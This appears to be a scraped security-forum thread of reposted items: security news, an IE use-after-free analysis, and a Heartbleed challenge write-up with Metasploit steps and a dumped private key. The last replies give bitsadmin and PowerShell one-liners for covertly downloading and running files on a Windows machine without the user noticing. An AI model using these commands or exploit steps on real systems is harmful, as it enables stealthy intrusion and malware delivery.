Nytro

Tool to generate ROP gadgets for ARM, x86, MIPS and PPC [h=1]xrop[/h] xrop is a simple tool to generate ROP gadgets. It supports PE, ELF, Mach-O and perhaps other executable formats. It uses the libxdisasm library and currently supports generating ROP gadgets for x86, x86_64, arm, and soon ppc and mips. Download: https://github.com/acama/xrop

The Best Android Security Apps April 28, 2014 Serge Malenkovich Security is not just anti-malware protection. As a concept, mobile security is comprised of privacy features, permission restrictions for too nosy applications, a backup capability in case your smartphone gets broken, a blacklist for undesirable calls, as well as encryption and parental control functionalities. Android is a very flexible OS, and all these challenges can be well dealt with if you choose the right security app from Google Play. Yet there is an abundance of suitable options, so we decided to help you by making a short list of the best security applications. App Lock Password-enabled security of apps and multimedia Free / Premium Almost all apps on a smartphone behave as if any person who lays hands on the device is the rightful owner. Yet this is not true. A friend could take your phone “just to check out what’s there”, children would use it to play, and colleagues and relatives – just to stick their noses into it out of sheer interest. In the two latter cases, a graphic security code or PIN lock could help, but when you give the device to a friend or a child, you ought to unblock it anyway. So, all your private data, in this case, is likely to be exposed in a couple of clicks. App Lock solves this problem by creating a list of protected applications. On launching them, one must enter an additional security code. Moreover, you can store some private photos and videos in a media gallery secured by a password, and leave all the rest in the ordinary folder. For the most paranoid users, App Lock is able to hide itself from view, and in that case, the app settings are activated only via a secret dialing code. App Ops Revoke application’s permissions Free On installing any application, Android notifies you which permissions are required. If you happen to find out that the new “live wallpaper” needs to access your contact list for text messaging (by the way, this is a very bad sign, and in this case, you’d better not install it), you have no other choice than to either accept the negative consequences or abort the installation. However, an increasing number of apps require more “extra” permissions. It just so happens, however, that Google has a tool to selectively revoke permissions from already installed applications. This feature was immediately available in Android 4.3 and is called App Ops. Unfortunately, in V4.4.2 it was taken away. App Ops simply offers access to Google’s setting screen where you can restrict any app’s access to the contact list, user’s geolocation, and so on. For Android 4.4.2 and later, unfortunately, App Ops functionality requires root access. For Android versions below 4.3, App Ops is not available, but the LBE Privacy Guard app offers a comparable set of features. #Android‘s hidden function: to revoke permissions from already installed apps. You can, for instance, disable GPS tracking via an app. EDS Smartphone data encryption $8 For those who have to store confidential documents on a smartphone, locking apps like App Lock or PIN codes are not enough to secure the data. With Android 3.0 and later versions, the operating system offers capabilities to encrypt all data stored on a smartphone. The process serves to ensure maximum security of the data, but a full-fledged password is required every time one wants to use the smartphone otherwise, the very approach is of no use at all. It is quite a tedious job to enter a password 50 times a day, so there is an alternative: to encrypt only the most sensitive data. Applications like EDS are a suitable option. It creates a container file in the smartphone’s memory and securely encrypts the content. Storing a file in such a container ensures it is not accessed by anyone but you. EDS has two modes. The simpler of them presupposes fully manual operation of the container. The more advanced mode requires root access: in this case, an encrypted container, when in operation, is treated as a removable storage drive. When saving a file to that storage, you automatically encrypt it. An important side note: EDS containers are compatible with the TrueCrypt desktop app, simplifying the data exchange between systems. This app is recommended for end users, whereas enterprises and corporate users are required to install a special MDM solution, providing a holistic approach to mobile security. Funamo Parental Control Parental control over teenage users $20 per device A parental control app should operate differently, depending on the age of a child. For teenagers, the most suitable model functions as follows: the device is constantly possessed by the child, with parents setting a series of specific limitations, for example, denying access to porn web sites or setting a maximum duration time for mobile gaming. Google Play offers a dozen such applications, but many of them are not fully functional due to various reasons. Funamo Parental Control works as expected: it enables web site block via certain keywords, restrictions toward in-game purchases, compulsory Safe Search capability on Google, Bing and Yahoo; limitations to certain app launches (based on time of the day, gameplay duration, etc.). A parent can use a remote monitoring functionality (GPS location, text message reading, Web site history, etc.) via Web console. The major drawback of the app is the absence of category filtering (violence, politics, porn, etc.), while this capability is available in the Windows version of Kaspersky Internet Security and Kaspersky Safe Browser. On a side note, discreet monitoring is impossible, as the app always shows the icon in the notifications panel. So, parents should discuss the matter with their kids and establish mutually accepted rules of phone use. Gallery Lock Hiding a part of multimedia gallery Free/Premium Disclaimer: this application and those like it are not yet stable for Android 4.4 (KitKat). V4.4 users are recommended to backup their photos and check with caution, whether the Hide/Show function works correctly. Almost half of smartphone galleries store photos which are not intended for public use. A simple way to hide them without deletion is Gallery Lock. Selected shots are deleted from the default gallery and are stored in a special, password-protected gallery. The most reserved users can enable a “stealth’ function which is designed to hide the Gallery Lock icon and open the hidden gallery by a secret digit code in the Phone application. For those who would like to hide the contact list, calls, and messages as well, there is a special capability within Kaspersky Internet Security for Android. Kaspersky Internet Security for Android Anti-theft, anti-virus protection protecting a smartphone against fraud and tactless friends Free/Premium Of course, Kaspersky Internet Security for Android is designed to protect you against mobile viruses and dangerous web sites (phish web sites, for instance), but that is not the only good thing about it. Even the free version is equipped with a number of anti-theft capabilities. One can locate a forgotten smartphone by launching a buzzer, or remotely lock it and wipe up the data, or locate it via GPS, or take a photo of the person who found (or stole) it. Moreover, one can hide certain contacts from the contact list or text messages, making this communication stealth for those who happened to access the smartphone. There is also a blacklist functionality preventing certain people from making undesired phone calls or sending messages to you. Speaking of malware, we should note recent independent testing proved that Kaspersky Internet Security for Android showed a 100% level of security against malicious apps (which account for over 100,000 for just Android and only for Q1 2014). Kids Place Child mode on a smartphone Free The name of the application includes the “parental control” reference, but it is only partially so. It would be fairer to talk about the “child mode”, which is applied when a smartphone is voluntarily given to a child. In the “child” mode, the smartphone is not allowed to launch any apps except those which are included on a white list; it is not dialing phone numbers or accepting incoming calls and is restricting purchase and installation of new apps. That means: yes for gaming, no for using. Profit! LastPass Password manager Free / $12 a year A multiplatform password manager which enables a single cloud database for both PC and smartphone. Disabling advertising and getting access to additional features requires a purchase of the annual license. With LastPass, a user may access each web site via a unique and complex password, not overstretching one’s memorizing abilities. Compared to competitors, LastPass is attractive due to its two-factor authentication, which is ran on the launch of the app itself. My Backup Smartphone backup Free/Premium Whereas the backup capability is partially enabled in Android by default, and, provided you handled all the settings correctly, you won’t lose any contacts or apps no matter what happens. However, when setting up a new phone, you would have to go through the tedious process of re-setting everything; for example, placing necessary icons onto a screen. Also, some data, including call log and conversation history, is not included in the backup copy. The MyBackup app is trying to backup (and restore) every single part of your system: playlists, Wi-Fi hotspot names, autocorrect glossaries on a keyboard, application settings, etc. The copy can either be saved onto an SD card or the My Backup cloud storage. A number of features require root access. If compared to the renowned Titanium Backup, this app provides better functionality in “non-rooted” mode. Orbot Tor Project for Android Free Thanks to Edward Snowden’s revelations, the Tor Project and other tools for anonymizing one’s Internet presence gained significant popularity last year. Android flexibility allows the implementation of a Tor proxy on a smartphone, and Orbot does exactly this. After a simple setup, any app installed on a smartphone can connect to the Internet via a chain of “onion routers”, making the owner’s communications very hard to trace. The only condition is an application’s ability to work via a proxy server. In addition, Orbot developers suggest a number of privacy-friendly apps already optimized for Tor: a private browser, Orweb; a search app, DuckDuckGo; etc. Sursa: Applications to Secure your Android Smartphone | We use words to save the world | Kaspersky Lab Official Blog

Meet your Bitcoin ATM: Digital currency craze hits Seattle, with help from startup vets by Taylor Soper on 5/1/2014 at 6:00 am The city’s first-ever Bitcoin ATM went live today at the Spitfire Grill in Belltown, allowing people to make secure transactions with the volatile cryptocurrency that has been making headlines for the past year or so. The ATM, open seven days a week from 11 a.m. to 10 p.m., scans your palm and allows you to exchange cash for Bitcoin, or do the reverse. Customers can make up to $3,000 worth of Bitcoin exchanges per day. The machine is manufactured by Las Vegas-based Robocoin, which also built the world’s first Bitcoin ATM that was installed in Vancouver, B.C., this past October. It is operated by Coinme, a new Seattle company that will manage the kiosk and take a small fee for every transaction made on the ATM. Coinme General Manager Nick Hughes, who previously co-founded a mobile payments startup called Seconds, told GeekWire that the inspiration for starting Coinme came out of a frustration from the lack of accountability and authenticity in the digital currency industry. Coinme wants to help people make secure transactions with Bitcoin and educate them on what cryptocurrency is really all about. “If people are going to understand what Bitcoin is, they need to touch it and feel it in a safe and secure manner,” Hughes said. Hughes added that the ATM is a better way for people to buy and sell Bitcoin compared to existing methods. “It’s a heck of a lot faster and safer, and more secure than utilizing some sort of exchange,” he said. If you aren’t familiar with Bitcoin, it’s the emerging decentralized, digital currency gaining popularity and acceptance as of late. Right now, one Bitcoin is worth about $450. That number skyrocketed past $1,000 in November, but eventually came back down amid security concerns. Some companies have shown enthusiasm for Bitcoin, while others like Amazon are staying far away from it. Overstock.com, the Salt Lake City-based online retailer, said in March that it took just over two months to sell more than $1 million in products to Bitcoin owners. Nick Hughes More recently, Bloomberg offered its stamp of approval after announcing this week that it would list Bitcoin on its financial data terminals. Then on Tuesday, the MIT Bitcoin club said it raised $500,000 to give every undergraduate student $100 worth of Bitcoin as a way to spread awareness about the digital currency and have on-campus businesses accept it. That’s a similar goal of Coinme, which is backed by angel investors in Seattle and plans to hold monthly Bitcoin Meetups with industry experts as part of an overall mission to teach the public about Bitcoin. “People need to be able to talk about this and be educated about it,” Hughes said. “They need to hear about the risk and rewards from credible people.” Even though there are already three existing Robocoin ATMs in California and Texas — in addition to 10 others around the world — Coinme claims it has the nation’s first licensed Bitcoin ATM. Coinme Compliance Officer Neil Bergquist worked closely with state and federal regulators to make sure that transactions on the ATM would be compliant with existing money transmitter laws. With their new endeavor, Hughes and Bergquist say they aren’t necessarily all-in about the future of Bitcoin, but rather the digital currency industry in general. “The fact is, cryptocurrency is here to stay,” Hughes said. “We don’t know what the name of it will be specifically, but our bet is on the future of digital currency.” “We’re just led by curiosity,” added Bergquist, who is separately the director of Seattle’s SURF Incubator. “We want to see where this goes and it’s really a pursuit of knowledge. We’re learning as much as anyone else.” Hughes said that Coinme, which works out of SURF, plans to unveil more Bitcoin ATMs in the Seattle region soon. The company picked Spitfire as its launch location based primarily on accessibility. “Belltown is fairly central in Seattle and Spitfire is well known in the tech industry,” Hughes said. “They are also open for a long period of time, which will make the machine available throughout the day and night.” You can check out the new Bitcoin ATM at today’s launch party, which will feature a Bitcoin expert panel. Here’s an infographic explaining what Bitcoin is all about and how to use the new ATM. Sursa: Meet your Bitcoin ATM: Digital currency craze hits Seattle, with help from startup vets - GeekWire

[h=2]“A Post-Mortem on Heartbleed" webcast - challenge solved[/h] I hope this is the right place to post this. Last week Qualys presented on a webcast: “A Post-Mortem on Heartbleed - What Worked and What Didn't: Real-world case study on how the State of Colorado responded to this critical vulnerability.” https://www.qualys.com/forms/webcasts/heartbleed/?leadsource=17265983 For this presentation they stood up a website that is vulnerable to the Heartbleed bug and put out a challenge to get the private keys, the encrypted file, and decrypt the file for a prize. Here are the steps I used to get that prize. Go to the website and register to login and get the "secret file" --note: don't use a real username or password because it can be visible while exploiting the bug. Register @ https://hbdemo.kandek.com/ After registering to the site and logging in I was able to download the “Secret” encrypted file and save it locally for use later. Download https://hbdemo.kandek.com/supersecret.txt.enc Next we move on to exploiting the vulnerability in the site. using metasploit-framework on ubuntu 12.04 > sudo ./msfconsole > use auxiliary/scanner/ssl/openssl_heartbleed > set RHOSTS hbdemo.kandek.com > set RPORT 443 > set VERBOSITY true > set ACTION KEYS > run In only a few seconds I had my answer. -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAsJVkN8MW8jpjLwz8YwWMk+Xhvk6Dz/0neLkAXZFAmtgnZsKy NOHotstIlp5+ehf1Skf+WdrKLvATe8RpG7IOtvkO/gQnOnGT6nefNMRQG8Riw0MS OpFUdNwLrXQnptStDtBTUFq+cY8w1ChRw4PBDjLq/3sKdSxARYDiZNUJ0RlXKfJk DlXi1JEOICvsoYuY7Z5CjHjy2rMck+Xu0d5L0KWGcqGNsdjdtE/NhhOzsvXq/n8T aPySSfHL5Xh9B9LsAb2evOV8t9bs2l7ASU76/sLTho8VFb9pohluHwGmWQuGaIpx E/ZjheV4XW2cGiJmf79ccwcjdz8plzWGd66gkQIDAQABAoIBAE5enxHYdbCflTFm lATmi5OALQYnFn0Sn5gGk1DzjDasxB/pPOoXcQ7ffaHLSdqqE2UaOppqbd0TE7KU Ywm1pq4yLyMxeK+JhNpEqNXkYqFQMXzzoX14zoDmwBAFQyvZq8ytTKyW+Xqw0Dz4 gAFD0kSY+I7Wbre+IfA22UNjAW5ZEcyU1JGDmPBVVfGMaa00Fhx0ixvANKKL9V3d biGomBS5Qm59s5f+dx7KmarzZ8JmaDttEYpcIllRR1cM+jtzsRvo8hB3nDAA6EFg v94ltqJ/1IcHxrLyax6+PMKJz+CCVm4Nhs2u+FsoSORuv82tcEoBYg3ZB6uLAeWp ad3p5DkCgYEA36viOCA3pvKl+FY2YaA2CkH9Tp+/fKTgbxX/FthpfS7VYvbzZWt1 +FhBxUDvCbBm18mDqYJ+tMk54Ku6ykFSAnX0LYWx0tDo9/m8P9oOYRjXP0tjqOhm UqtqP8YrrqiSjpNp1EbuCkFUgU0On+s4vdrF8v2OmehDzCglF/d9uw8CgYEAyhsz CHCE+nzx+6iHKV1q3OkuOHNSo7CQMSngMJQFhgIbapVuqaRQs8dP6orpdYUH1+vv l/RrISNkCO+8Plz5c9am3sgcwabhWb1wBeR05IhovqWPLlTf24IWf0vW/B9aDIw7 3zlPe2GbBBV2IYPxFmdiZUIvERiqlwHchk5Oal8CgYEA0MxJCrHwodWkX/ZDH9GK gPrnN41jGT1lEe5LygzONQESTCdSQZwWbXYeN8CNJNNavhgs44GhPK0YbYaCgaqG nytzfUdwH+fLgynLtSOfBr9EuJ5s81G3q3a/YbdiMdLFtXkhcvuf3UztUSMZAup3 dqwS2+odQ8mR+LSFJCFyarsCgYEAkaQWG3/SJBwD2SEx/XoHNxiGKUHZjIIA9pzB pOAWNuKv1RfIPlFdop//k/n0kK6D33JzHuKQjLnPLa1sztf7HyHQ8HvuVRKoFB4y atyd683tBW2TB4U8KBfPlH4Xd2o0XxRzVMIc58GHjuLUVQSaqFVqD6Qo/L30uIsr 2lD1qysCgYAUqmsr5eMl0VgM7ACvKPwQNMzZzA+1mj6ijWMGDMzKKPwHtK+avIw4 fvTj88CJ43gvv6tN+zXtJrUHPEN6rgR/FSyrnVjXbb8+PuYfl15zpBrW5weNrcMV AlCn+Q7FcVTbZkHfZ1SoA7HG3hZfnRRMPBwjEMOQb9NPRlM2WqKZNw== -----END RSA PRIVATE KEY----- save file as hbdemo.key Now decrypt the secret file using the private key. > cat supersecret.txt.enc | openssl rsautl -decrypt -inkey hbdemo.key results: > Darth Vader is Luke's father. The next part was funny, I didn't remember where they said to send the answer to so I reached out to people I know to ask if they knew Wolfgang and I was able to get his phone number. On his voice mail I was able to get his email address and that is where I sent the answer to. I also posted out to twitter and he responded to me with his email (but I had already send the answer by that time). I just want to say thank you to Wolfgang and the Qualys team for doing the webcast and adding a challenge to it also. It made it interactive and fun. I hope they do this more in future webcasts. Author: jcheuvront Sursa: https://community.qualys.com/message/22793#22793

iOS 7.1.1 Behind the scenes of touch ID Touch ID takes a 88x88 500ppi scan of your finger and temporarily sends that data to a secure cache located near the RAM, after the data is vectorized and forwarded to the secure enclave located on the top left of the A7 near the M7 processor it is immediately discarded after processing. The fingerprint scanner uses subdermal ridge flows (inner layer of skin) to prevent loss of accuracy if you were to have micro cuts or debris on your finger. With iOS 7.1.1 Apple now takes multiple scans of each position you place finger at setup instead of a single one and uses algorithms to predict potential errors that could arise in the future. Touch ID was supposed to gradually improve accuracy with every scan but the problem was if you didn't scan well on setup it would ruin your experience until you re-setup your finger. iOS 7.1.1 not only removes that problem and increases accuracy but also greatly reduces the calculations your iPhone 5S had to make while unlocking the device which means you should get a much faster unlock time. The purchase of authentec has given Apple a huge future advantage and touch ID is most likely a temporary place holder of a future display with an embedded fingerprint sensor Here is the source about how touch ID works (starts on page 6) http://images.apple.com/ipad/business/docs/iOS_Security_Feb14.pdf. The 2nd paragraphs source is magical Sursa: iOS 7.1.1 Behind the scenes of touch ID : apple

10 Unbelievable Identity Theft Cases Here’s a countdown to the most incredible identity theft cases recorded, compiled by guyism.com. Dr. Gerald Barnes Gerald Barnbaum lost hispharmacist license after committing Medicaid fraud. He stole the identity of Dr. Gerald Barnes and practiced medicine under his name. A type 1 diabetic died under his care. “Dr. Barnes” even worked as a staff physician for a center that gave exams to FBI agents. He’s currently serving hard time. Mark Tufano Mark Tufano got his joy ride by impersonating famed actors like Gary Oldman, in which he sent a video of himself as Gary Oldman portraying Andy Kaufman; it fooled the man who actually wanted Oldman to portray Kaufman in Man On The Moon. The real Gary Oldman caught wind of the scam and got it busted. Marcelo Nascimento da Rocha This drug smuggler impersonated Henrique Constantino, the brother of the CEO of the airline Gol Airlines, enjoying the high life but then getting busted after sleeping with a woman who actually knew the real Constantino. Andrea Harris-Frazier Margot Somerville lost her wallet on a trolley. Two years later she was arrested. Andrea Harris-Frazier had defrauded several banks—using Somerville’s identity—out of tens of thousands of dollars. The real crook was caught. Brittany Ossenfort Brittany Ossenfort got a new roommate, Michelle, who got a haircut just like Ossenfort’s. One day Ossenfort received a call at her office from the cops asking her to bail herself out of jail. “Michelle” had been hooking on the streets, posing as Ossenfort and was caught. Turns out “Michelle” was really Richard Lester Phillips, living as a woman. Lara Love and David Jackson This California couple one day began tapping into a neighbor’s wireless Internet router. This led to them raiding the neighbors’ personal data. Thirty victims were affected ultimately by the time this pair was busted. Frederic Bourdin Bourdin liked to impersonate missing children, including Nicholas Barclay, a missing teen. The teen’s family was fooled, even though Bourdin looked nothing like Barclay (including different hair and eye color--amazing, isn’t it?). More stunning is that the family was fooled for nearly a year until fingerprints proved his real identity. He’s been in and out of jail since. Ferdinand Demara This daring serial imposter used medical books to fudge his way through surgeries he performed onboard a ship during the Korean war, impersonating Dr. Joseph Cyr. Prior, he had faked his death and even went AWOL under a friend’s name when in the Army. Abraham Abdallah A busboy named Abraham Abdallah got into the bank accounts of Steven Spielberg and other famous people after tricking his victims via computer, getting sufficient data to fake being their financial advisors—then calling their banks…and you know the rest. Phillip Cummings This fat cat worked for a software company and sold customers’ credit card reports to a Nigerian ID theft ring for $30 each—30,000 times. Seriously?! Really, get identity theft protection! Sursa: 10 Unbelievable Identity Theft Cases*|*Robert Siciliano

CVE-2014-1776 (IE 0day) Analysis FireEye Research Labs identified a new Internet Explorer zero-day exploit used in targeted attacks. The vulnerability nearly affects all Internet Explorer versions (6/7/8/9/10/11). The exploit bypasses ASLR/DEP. CVE-2014-1776 was assigned to the vulnerability by Microsoft. There is not any public PoC / Exploit of the vulnerability on web. So we will not share it too. Vulnerability and Analysis Firstly, Websense’s claim is not truth, the vulnerability is not a buffer overflow. This is exactly a use after free. The vulnerability exists within the object used by MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0×6. Exploit forces to re-use a dangling pointer of the object and this causes use-after-free error. Here is the crash point when we trigger the vulnerability with PoC.html. Crash occurs on MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0×6 function. The function tries to “mov” an object that ESI points. After running !heap command for a quick analysis, we see that ESI points to an object which has been already free-ed: The object is free-ed by MSHTML!Cmarkup: PrivateRelease function as we see in heap trace. If we look at these functions , we will see that it calls HeapFree function: And this free-ed object re-used by MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0×6 and this causes the use after free condition. Exploitation Exploit uses Flash vector object technique to bypass ASLR and DEP successfully. This is a common technique which used by fresh exploits nowadays. Exploit loads a flash file (SWF) before triggering the vulnerability and prepare the heap with this technique. To exploit use after free vulns, firstly we should know what size of object allocated before it becomes free-ed ? If we can create a fake object with same size using heap spray, then it’s possible to exploit this vulnerability. So I looked the crash function and wanted to follow where ESI comes from etc. So I put a breakpoint on MSHTML!CMarkup::IsConnectedToPrimaryMarkup and want to look at the heap allocations until it crashes. Here is the windbg command that I use; BP MSHTML!CMarkup::IsConnectedToPrimaryMarkup “!heap -p -a esi; g” and this is the result of windbg until it crashes: address 21be4bd8 found in _DPH_HEAP_ROOT @ 1f1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 21a038bc: 21be4bd8 428 - 21be4000 2000 MSHTML!CMarkup::`vftable' 553b8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77270d96 ntdll!RtlDebugAllocateHeap+0x00000030 7722af0d ntdll!RtlpAllocateHeap+0x000000c4 771d3cfe ntdll!RtlAllocateHeap+0x0000023a 60cc0ee7 MSHTML!CDoc::CreateMarkupFromInfo+0x00000158 60d0de89 MSHTML!CDoc::CreateMarkup+0x00000064 612a6329 MSHTML!RemoveDOMNodeHelper+0x00000093 60ed48a3 MSHTML!CElement::removeNode+0x00000033 611d87bf MSHTML!Method_IDispatchpp_oDoVARIANTBOOL+0x0000006f 61019697 MSHTML!CBase::ContextInvokeEx+0x000002b6 60e257a5 MSHTML!CElement::ContextInvokeEx+0x0000004c 61025e62 MSHTML!CElement::VersionedInvokeEx+0x0000002a 60d9f492 MSHTML!CBase::PrivateInvokeEx+0x0000006d 690c5ef6 jscript9!HostDispatch::CallInvokeEx+0x000000ae 690ce85a jscript9!HostDispatch::InvokeMarshaled+0x0000004b 690ce79a jscript9!HostDispatch::InvokeByDispId+0x000001cf 690ce5c3 jscript9!DispMemberProxy::DefaultInvoke+0x00000023 68fe7530 jscript9!Js::InterpreterStackFrame::Process+0x00001e3c 68fe7028 jscript9!Js::InterpreterStackFrame::InterpreterThunk+0x000001e8 address 21be4bd8 found in _DPH_HEAP_ROOT @ 1f1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 21a038bc: 21be4000 2000 553b90b2 verifier!AVrfDebugPageHeapFree+0x000000c2 77271564 ntdll!RtlDebugFreeHeap+0x0000002f 7722ac29 ntdll!RtlpFreeHeap+0x0000005d 771d34a2 ntdll!RtlFreeHeap+0x00000142 769514ad kernel32!HeapFree+0x00000014 60df4d1a MSHTML!CMarkup::`vector deleting destructor'+0x00000025 60c60492 MSHTML!CBase::PrivateRelease+0x00000103 60c59909 MSHTML!CMarkup::PrivateRelease+0x0000002c 60f6f811 MSHTML!CMarkup::ProcessPeerTask+0x00000066 60fd88a1 MSHTML!CMarkup::ProcessPeerTaskContext+0x0000008e 60fd8803 MSHTML!CMarkup::ProcessPeerTasks+0x0000003f 60fd9016 MSHTML!CElement::VersionedGetDispID+0x0000008f 61037a70 MSHTML!CBase::PrivateGetDispID+0x00000041 690c5d1c jscript9!HostDispatch::GetDispID+0x00000091 69172421 jscript9!HostDispatch::EnsureDispIdForProperty+0x0000003d 69172544 jscript9!HostDispatch::PutValue+0x00000019 69172521 jscript9!HostDispatch::SetPropertyCore+0x00000046 69172686 jscript9!HostDispatch::SetProperty+0x00000032 68fe29e1 jscript9!Js::JavascriptOperators::SetProperty_Internal+0x0000005c 6901fde7 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040 6901fe43 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d 6901f931 jscript9!Js::InterpreterStackFrame::Process+0x0000319d 68fe7028 jscript9!Js::InterpreterStackFrame::InterpreterThunk+0x000001e8 (24c8.218c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=21be4bd8 edx=0a4bad54 esi=21be4bd8 edi=00000000 eip=60e15956 esp=0a4bad84 ebp=0a4badd4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0x6: 60e15956 8b86a4000000 mov eax,dword ptr [esi+0A4h] ds:002b:21be4c7c=???????? So the object size is 0×428 and we should create a fake object with this size using heap spray technique to exploit this vulnerability. Solution Actually VML is the not the root cause of the vulnerability so unregistering VGX.DLL will only block the current exploit in the wild. We are working with ZEMANA to release a 3rd party patch for this vulnerability soon. We will update you about the patch soon. Sursa: CVE-2014-1776 (IE 0day) Analysis - SignalSEC Corp. : SignalSEC Corp.

Windows Artifact Analysis: Evidence of... Created for FOR408 – Windows Forensics – SANS Digital Forensics and Incident Response faculty created the “Evidence of...” categories to map a specific artifact to the analysis question that it will help to answer. Use this poster as a cheat- sheet to help you remember where you can discover key items to an activity for Microsoft Windows systems for intrusions, intellectual property theft, or common cyber-crimes. Download: https://blogs.sans.org/computer-forensics/files/2012/06/SANS-Digital-Forensics-and-Incident-Response-Poster-2012.pdf

Bug Bounties Expanding to Individual Developers by Dennis Fisher Bug bounties once were restricted mainly to large software companies such as Mozilla and Google. But the success of these programs has led many other infrastructure and product companies, including Yahoo, Facebook, Barracuda, PayPal and even Microsoft, to launch their own reward systems. Now, the phenomenon has spread to individual developers. Looking at the list of vendors involved in bug bounties, it would seem that the barrier to entry is relatively high. Those are all well-heeled companies with rather large bankrolls, so handing out a few thousand or even tens of thousands of dollars to security researchers isn’t a huge deal for them. The rewards for these companies have turned out to be well worth the investment, as they’re getting highly skilled researchers poring over their code without having to pay them salaries and benefits. But what would the returns be for an individual developer with a small project or application who doesn’t have a lot of money to invest in a bounty program? The answer wasn’t clear, but Ian Dunn decided to find out. Dunn, a WordPress developer, wrote a plugin a few months ago that was designed to modify the workflow of a another plugin that deals with two-factor authentication logins. Not being a security expert, Dunn knew that he wanted some help looking for potential vulnerabilities in the plugin, so he decided to offer a reward to anyone who found a bug and let him know about it privately. “Given the nature of it, I knew that any potential bugs could have significant security implications, so I did my best to test it thoroughly. I’m not a security expert, though, so I still worried that there might be some esoteric vulnerability I had missed,” Dunn said voa email. “So, I wrote a post on my blog offering a security bounty for anyone who found a vulnerability and disclosed it to me privately. That actually worked — a colleague of mine found a bug and I released a patch — but it’s obviously not an ideal solution, since it only reaches a few people in my circle.” Dunn wanted to expand the reach of his reward offer, but he knew he didn’t quite have the visibility and influence of Google or Microsoft. So when he came across the HackerOne bug bounty platform, he thought it was a good fit. Hacker One provides a way for researchers to report vulnerabilities privately and collect rewards from participating vendors, which include Yahoo, OKCupid, CloudFlare and OpenSSL. The rewards vary by vendor, with minimum bounties ranging from a couple of hundred dollars to several thousand. Dunn set his minimum at $25. “When I heard about HackerOne, it sounded like the perfect solution. They’ve got a deep pool of researchers who are motivated to find vulnerabilities and disclose them responsibly, and they offer a great set of tools to manage the entire process,” he said. “I hope to get more eyes on my code, so that any security bugs that slip in can be caught, and also so I can learn from any mistakes I make.” Although Dunn is a small fish among some rather large sharks in the bug bounty sea, he already has closed two bugs on HackerOne since he joined last week. He said that he’s hopeful other individual developers will follow his lead and offer incentives to researchers. “Definitely. Security is still something that the development community isn’t doing a good enough job at, and I think HackerOne can make a huge impact by giving developers access to audits,” Dunn said. Sursa: Bug Bounties Expanding to Individual Developers | Threatpost | The first stop for security news

Asa cum exista un topic de "Fun stuff", asa ar fi ok sa avem si lucruri interesante de urmarit. Postati aici lucruri UTILE si INTERESANTE, nu neaparat legate de IT, ci legate de viata, fizica, curiozitati, orice va trece prin cap si ar putea fi interesant si pentru alte persoane. De exemplu: Alt exemplu: [h=1]A fost inventat combustibilul "solar" pentru aeronave[/h] Un proiect de cercetare, finan?at de UE, a dus la ob?inerea, în premier? la nivel mondial, a unui combustibil „solar” pentru aeronave, pe baz? de ap? ?i dioxid de carbon (CO2). Cercet?torii au realizat pentru prima dat? întregul lan? de produc?ie a kerosenului regenerabil, utilizând lumina concentrat? ca surs? de energie cu temperatur? înalt?. Proiectul, denumit Solar-Jet, se afl? înc? în faza experimental?. Astfel, în condi?ii de laborator, cu ajutorul luminii solare simulate, s-a ob?inut un pahar de combustibil. Cu toate acestea, având în vedere rezultatele ob?inute, se poate spera c?, în viitor, to?i combustibilii lichizi pe baz? de hidrocarburi ar putea fi produ?i din lumin? solar?, dioxid de carbon ?i ap?. Mai multe: https://ro.stiri.yahoo.com/a-fost-inventat-combustibilul--solar--pentru-aeronave-135052375.html?cmp=rofb Nu va bateti joc de acest topic. Veti primi warn/ban daca postati porcarii.

Iti deschide in browser link-ul. Ideea e, normal, ca userul sa nu stie ca i se descarca un fisier in calculator. Si nu toate fisierele pe toate browserele sunt descarcate automat si puse in Downloads. Ca nota legat de "bitsadmin", e nevoie ca serverul HTTP sa fie unul "ok", unul care sa suporte Range-Bytes si care sa nu raspunda cu HTTP 405. Spun asta pentru ca am instalat doua mini-servere HTTP stupide si nu au functionat. Cu Apache e ok. Ca sa inteleaga toata lumea, metoda e pentru cazul in care: 1. ai acces shell la un user (adica acces la "linia de comanda", poti executa comenzi) 2. poti executa doar comenzi de Windows, nu ai alte fisiere pe care poti sa le pui 3. user-ul nu trebuie sa afle in niciun fel ca se intampla ceva ciudat la el in calculator 4. nu trebuie sa te complici sa scrii zeci de comenzi ca sa descarci un fisier PS: Asa puteti face un "Download & Execute" cu 2 linii de cod.

Alta optiune, cu PowerShell, dar cred ca merge doar pe Windows 7 si Windows 8. powershell -Command "(New-Object Net.WebClient).DownloadFile('http://www.foo.com/package.zip', 'package.zip')" @Kalashnikov. Asa ai si Firefox. Dar nu cand ai doar shell. Adica doar poti executa comenzi.

Salut, In caz ca vreodata aveti nevoie de un mijloc rapid de download pe un PC cu Windows la care aveti shell: bitsadmin.exe /transfer "JobName" http://download.url/here.exe C:\destination\here.exe L-am gasit aici: Windows batch file file download from a URL - Stack Overflow

Use after free iar VGX.dll care probabil nu e compilat cu suport pentru ASLR, e folosit pentru bypass DEP si ASLR.

@ CoffeeMan, chiar a fost redeschis de curand

_|_

